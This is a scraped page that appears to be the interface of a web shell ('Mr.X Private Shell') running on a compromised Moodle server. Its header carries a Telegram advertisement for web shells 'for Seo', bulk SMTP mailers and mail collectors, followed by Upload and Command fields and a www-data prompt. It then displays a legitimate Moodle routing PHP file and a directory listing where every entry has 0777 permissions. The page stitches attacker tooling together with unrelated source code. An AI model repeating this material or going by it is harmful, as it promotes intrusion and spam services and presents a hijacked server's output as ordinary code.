__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\router;

use Slim\Interfaces\RouteInterface;

/**
 * A base Route Loader
 *
 * @package    core
 * @copyright  2024 Andrew Lyons <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
abstract class abstract_route_loader {
    /**
     * Get all routes in the namespace.
     *
     * @param string $namespace The namespace to get the routes for
     * @param callable $componentpathcallback A callback to get the component path for a class
     * @return array[]
     */
    protected function get_all_routes_in_namespace(
        string $namespace,
        callable $componentpathcallback,
    ): array {
        $routes = [];

        // Get all classes in the namespace.
        $classes = \core_component::get_component_classes_in_namespace(namespace: $namespace);
        foreach (array_keys($classes) as $classname) {
            $classinfo = new \ReflectionClass($classname);
            $component = \core_component::get_component_from_classname($classname);
            $componentpath = $componentpathcallback($component);

            // Add all public methods with a #[route] attribute in this class.
            array_push($routes, ...$this->get_all_routes_in_class(
                componentpath: $componentpath,
                classinfo: $classinfo,
            ));
        }

        return $routes;
    }

    /**
     * Get all routes in a class.
     *
     * @param string $componentpath The path to the component that the class belongs to
     * @param \ReflectionClass $classinfo The class to get the routes for
     * @return array[]
     */
    protected function get_all_routes_in_class(
        string $componentpath,
        \ReflectionClass $classinfo,
    ): array {
        // Filter out any methods which are public but do not have any route attached.
        return array_filter(
            array_map(
                fn ($methodinfo) => $this->get_route_data_for_method(
                    componentpath: $componentpath,
                    classinfo: $classinfo,
                    methodinfo: $methodinfo,
                ),
                $classinfo->getMethods(\ReflectionMethod::IS_PUBLIC),
            )
        );
    }

    /**
     * Get route data for a single method in a class.
     *
     * @param string $componentpath The path to the component that the class belongs to
     * @param \ReflectionClass $classinfo The class to get the route data for
     * @param \ReflectionMethod $methodinfo The method to get the route data for
     * @return null|array[]
     */
    protected function get_route_data_for_method(
        string $componentpath,
        \ReflectionClass $classinfo,
        \ReflectionMethod $methodinfo,
    ): ?array {
        $routeattribute = $this->get_route_attribute_for_method(
            $classinfo,
            $methodinfo,
        );

        if ($routeattribute === null) {
            // No route on this method.
            return null;
        }

        // Build the pattern for this route.
        $path = $routeattribute->get_path();
        $pattern = "/{$componentpath}{$path}";

        // Remove duplicate slashes.
        $pattern = preg_replace('@/+@', '/', $pattern);

        // Get the HTTP methods for this route.
        $httpmethods = $routeattribute->get_methods(['GET']);

        return [
            'methods' => $httpmethods,
            'pattern' => $pattern,
            'callable' => [$classinfo->getName(), $methodinfo->getName()],
        ];
    }

    /**
     * Get the route attribute for the specified method.
     *
     * Note: If a parent has a route, but the method does not, no route will be returned.
     *
     * @param \ReflectionClass $classinfo The class to get the route attribute for
     * @param \ReflectionMethod $methodinfo The method to get the route attribute for
     * @return null|route
     */
    protected function get_route_attribute_for_method(
        \ReflectionClass $classinfo,
        \ReflectionMethod $methodinfo,
    ): ?route {
        // Fetch the route attribute from the method.
        // Each method can only have a single route attribute.
        $routeattributes = $methodinfo->getAttributes(route::class);
        if (empty($routeattributes)) {
            return null;
        }

        // Get the instance.
        $methodroute = $routeattributes[0]->newInstance();

        // Set the parent route if the class has one.
        $classattributes = $classinfo->getAttributes(route::class);
        if ($classattributes) {
            // The class has a #route attribute.
            $methodroute->set_parent($classattributes[0]->newInstance());
        }

        return $methodroute;
    }

    /**
     * Normalise the component for use as part of the path.
     *
     * If the component is a subsystem, the `core_` prefix will be removed.
     * If the component is 'core', it will be kept.
     * All other components will use their frankenstyle name.
     *
     * @param string $component
     * @return string
     */
    protected function normalise_component_path(
        string $component,
    ): string {
        if ($component === 'core') {
            return $component;
        }
        [$type, $subsystem] = \core_component::normalize_component($component);
        if ($type === 'core') {
            $component = $subsystem;
        }

        if ($component === null) {
            $component = '';
        }

        return $component;
    }

    /**
     * Set a route name for the specified callable.
     *
     * @param RouteInterface $slimroute
     * @param string|array|callable $callable
     * @return string|null The name of the route if it was set, otherwise null
     */
    protected function set_route_name_for_callable(
        RouteInterface $slimroute,
        string|array|callable $callable,
    ): ?string {
        if (is_string($callable)) {
            $slimroute->setName($callable);
            return $callable;
        }

        if (is_array($callable)) {
            $name = implode('::', $callable);
            $slimroute->setName($name);
            return $name;
        }

        // Unable to set a name. Return null.
        return null;
    }
}

Filemanager

Name Type Size Permission Actions
middleware Folder 0777
parameters Folder 0777
response Folder 0777
schema Folder 0777
abstract_route_loader.php File 6.75 KB 0777
apidocs.php File 5.03 KB 0777
bridge.php File 3.11 KB 0777
callable_resolver.php File 3.77 KB 0777
controller_invoker.php File 3.48 KB 0777
hook_callbacks.php File 1.56 KB 0777
request_validator.php File 6.38 KB 0777
request_validator_interface.php File 1.21 KB 0777
response_handler.php File 3.53 KB 0777
response_validator.php File 1.68 KB 0777
response_validator_interface.php File 1.28 KB 0777
route.php File 10.52 KB 0777
route_controller.php File 4.17 KB 0777
route_loader.php File 2.72 KB 0777
route_loader_interface.php File 1.44 KB 0777
util.php File 7.42 KB 0777
Filemanager